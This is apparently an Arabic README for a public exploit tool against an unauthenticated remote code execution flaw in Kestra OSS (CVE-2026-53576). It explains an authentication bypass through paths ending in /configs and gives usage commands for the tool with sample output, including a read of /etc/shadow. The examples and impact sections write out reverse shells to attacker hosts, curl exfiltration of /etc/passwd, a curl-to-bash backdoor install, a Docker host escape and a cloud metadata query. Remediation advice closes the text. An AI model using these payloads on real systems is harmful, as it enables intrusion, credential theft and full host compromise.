استغلال ثغرة تنفيذ الأوامر عن بُعد بدون مصادقة في Kestra (CVE-2026-53576)

---

⚠️ إخلاء مسؤولية

هذه الأداة مخصصة للأغراض التعليمية واختبارات الأمن المصرح بها فقط.

• لا تستخدمها ضد أنظمة لا تملكها أو لا تملك إذنًا كتابيًا صريحًا لاختبارها.
• لا تستخدمها في أنشطة غير قانونية.
• المؤلف ليس مسؤولًا عن أي إساءة استخدام لهذه الأداة.
• استخدمها على مسؤوليتك الخاصة.

---

📋 جدول المحتويات

• نظرة عامة
• تفاصيل الثغرة
• استخدام الاستغلال
• التثبيت
• أمثلة
• الأثر
• الإصلاح
• الخط الزمني
• المراجع
• الترخيص

---

🔍 نظرة عامة

CVE-2026-53576 هي ثغرة حرجة في Kestra OSS حتى الإصدار v1.3.20 تسمح بـ تنفيذ أوامر عن بُعد بدون مصادقة عبر تجاوز فلتر المصادقة.

التفاصيل الأساسية

الحقل	القيمة
معرّف CVE	CVE-2026-53576
الخطورة	حرجة (9.8 CVSS)
نوع الثغرة	تجاوز مصادقة + RCE
المنتج المتأثر	Kestra OSS
النسخ المتأثرة	≤ v1.3.20
متجه الهجوم	شبكة
المصادقة المطلوبة	لا شيء
تفاعل المستخدم	لا شيء

---

🚨 تفاصيل الثغرة

السبب الجذري

يحتوي فلتر المصادقة في Kestra على خلل منطقي حرج:

// Vulnerable code in AuthenticationFilter.java:53
boolean isConfigEndpoint = request.getPath().endsWith("/configs")

يتم التحقق مما إذا كانت أي طلبات API تنتهي بـ /configs بدلاً من مطابقة المسار المحدد، مما يسمح للمهاجمين بتجاوز المصادقة بإلحاق /configs بأي نقطة نهاية.

خطوات الاستغلال

1. إنشاء flow خبيث → POST /api/v1/main/flows/configs (يتجاوز المصادقة)
2. تشغيل التنفيذ → POST /api/v1/main/executions/configs/configs (يتجاوز المصادقة)
3. تنفيذ الأوامر بصلاحيات root → اختراق كامل للنظام

النقاط النهائية المتأثرة

# Any path ending in /configs bypasses authentication
/api/v1/main/flows/configs          # Create flows
/api/v1/main/executions/configs/configs  # Execute flows
/api/v1/{tenant}/flows/configs      # Any tenant
/api/v1/{tenant}/executions/configs/configs  # Any tenant

---

💻 استخدام الاستغلال

الاستخدام الأساسي

python3 kestra_exploit.py <target_ip>

استخدام متقدم

# Custom port
python3 kestra_exploit.py 192.168.1.100 -p 8080

# HTTPS
python3 kestra_exploit.py 192.168.1.100 --https

# Custom command
python3 kestra_exploit.py 192.168.1.100 -c "whoami && hostname"

# Check Docker socket access
python3 kestra_exploit.py 192.168.1.100 --docker-check

# Clean up after exploitation
python3 kestra_exploit.py 192.168.1.100 --cleanup

# Full attack with all options
python3 kestra_exploit.py 192.168.1.100 -p 8080 --docker-check --cleanup -c "id > /tmp/proof.txt"

خيارات الأوامر

الخيار	الوصف
target	عنوان IP أو اسم المضيف الهدف (مطلوب)
-p, --port	المنفذ (الافتراضي: 8080)
--https	استخدام HTTPS بدلاً من HTTP
-c, --command	الأمر المخصص للتنفيذ
--docker-check	التحقق من الوصول إلى Docker socket
--cleanup	حذف الـ flow بعد الاستغلال
--delay	التأخير بين الطلبات (الافتراضي: 2s)

---

📦 التثبيت

المتطلبات

pip install requests

استنساخ المستودع

git clone https://github.com/yourusername/CVE-2026-53576
cd CVE-2026-53576

التحقق من التثبيت

python3 kestra_exploit.py --help

---

🎯 أمثلة

مثال 1: استغلال أساسي

python3 kestra_exploit.py 192.168.1.100

المخرجات:

============================================================
Kestra Unauthenticated RCE Exploit
Security Research Tool - Authorized Use Only!
============================================================
[*] Target: 192.168.1.100:8080
[*] Protocol: http
============================================================

[Step 1] Creating malicious flow...
[*] Creating malicious flow at http://192.168.1.100:8080/api/v1/main/flows/configs
[*] Command: id > /tmp/proof.txt; cat /etc/shadow | head -1 >> /tmp/proof.txt
[+] Flow created successfully! (Status: 200)
[+] Flow revision: 26

[Step 2] Triggering execution...
[*] Triggering execution at http://192.168.1.100:8080/api/v1/main/executions/configs/configs
[+] Execution triggered successfully!
[+] Execution ID: 4nxNTHPk2WInfrnxQa6KF2
[+] Status: CREATED

[Step 3] Checking execution status...
[+] Execution status: SUCCESS
[*] Final status: SUCCESS

[+] Exploitation complete!
[*] To verify the attack succeeded, check the target system for:
    - /tmp/proof.txt containing command output
    - Kestra UI execution logs
    - Web UI: http://192.168.1.100:8080/ui/

مثال 2: قشرة عكسية

python3 kestra_exploit.py 192.168.1.100 -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"

مثال 3: تسريب البيانات

python3 kestra_exploit.py 192.168.1.100 -c "curl -X POST http://attacker.com/exfil -d @/etc/passwd"

مثال 4: فحص الهروب من Docker

python3 kestra_exploit.py 192.168.1.100 --docker-check --cleanup

---

💥 الأثر

الأثر المباشر

الفئة	الخطورة	الوصف
السرية	⚠️ حرجة	قراءة أي ملف (كلمات المرور، الأسرار، الإعدادات)
السلامة	⚠️ حرجة	إنشاء/تعديل/حذف الـ flows والبيانات
التوافر	⚠️ عالية	إيقاف النظام، استنزاف الموارد
المصادقة	⚠️ حرجة	تجاوز كامل للمصادقة الأساسية (Basic-Auth)
تصعيد الامتيازات	⚠️ حرجة	تنفيذ الأوامر بصلاحيات root (uid=0)
الهروب من الحاوية	⚠️ حرجة	اختراق المضيف عبر Docker socket

القدرات الهجومية

يمكن للمهاجم غير المصادق أن:

1. ينفّذ أوامر عشوائية بصلاحيات root:

   # Read secrets
   cat /app/conf/application.yml
   
   # Reverse shell
   bash -i >& /dev/tcp/attacker.com/4444 0>&1
   
   # Install malware
   curl http://attacker.com/backdoor.sh | bash
   

2. ينتقل إلى النظام المضيف (إذا كان Docker socket مثبتًا):

   docker run -v /:/host --privileged alpine chroot /host
   

3. يصل إلى بيانات cloud الوصفية (إذا كان يعمل على مزوّد سحابي):

   curl http://169.254.169.254/latest/meta-data/
   

---

🛡️ الإصلاح

إجراءات فورية

1. إيقاف تشغيل النسخ المتأثرة:

   sudo systemctl stop kestra
   

2. منع الوصول العام:

   iptables -A INPUT -p tcp --dport 8080 -j DROP
   

3. تطبيق قواعد جدار الحماية:

   • الاقتصار على الشبكات الداخلية
   • استخدام VPN للوصول الإداري

الإصلاح الدائم

1. تحديث Kestra إلى أحدث إصدار مصحح:

   • المتابعة: https://github.com/kestra-io/kestra
   • التحقق: https://github.com/kestra-io/kestra/security/advisories/GHSA-2q47-568g-9h4f

2. تطبيق مصادقة مناسبة:

   • استخدام OAuth2/OIDC بدلاً من المصادقة الأساسية
   • تفعيل المصادقة متعددة العوامل

3. تحسين أمان الحاوية:

   • التشغيل بمستخدم غير root
   • عدم تركيب /var/run/docker.sock
   • استخدام نظام ملفات جذر للقراءة فقط

4. تحسين أمان الشبكة:

   • استخدام بوابة API مع توجيه مناسب
   • تنفيذ قواعد WAF
   • تفعيل التحقق من الطلبات

---

📅 الخط الزمني

التاريخ	الحدث
2026-05-26	اكتشاف الثغرة
2026-06-03	نشر النشرة الأمنية من Kestra
2026-06-10	تخصيص CVE-2026-53576
2026-06-15	الكشف العلني
2026-08-01	نشر PoC

---

📚 المراجع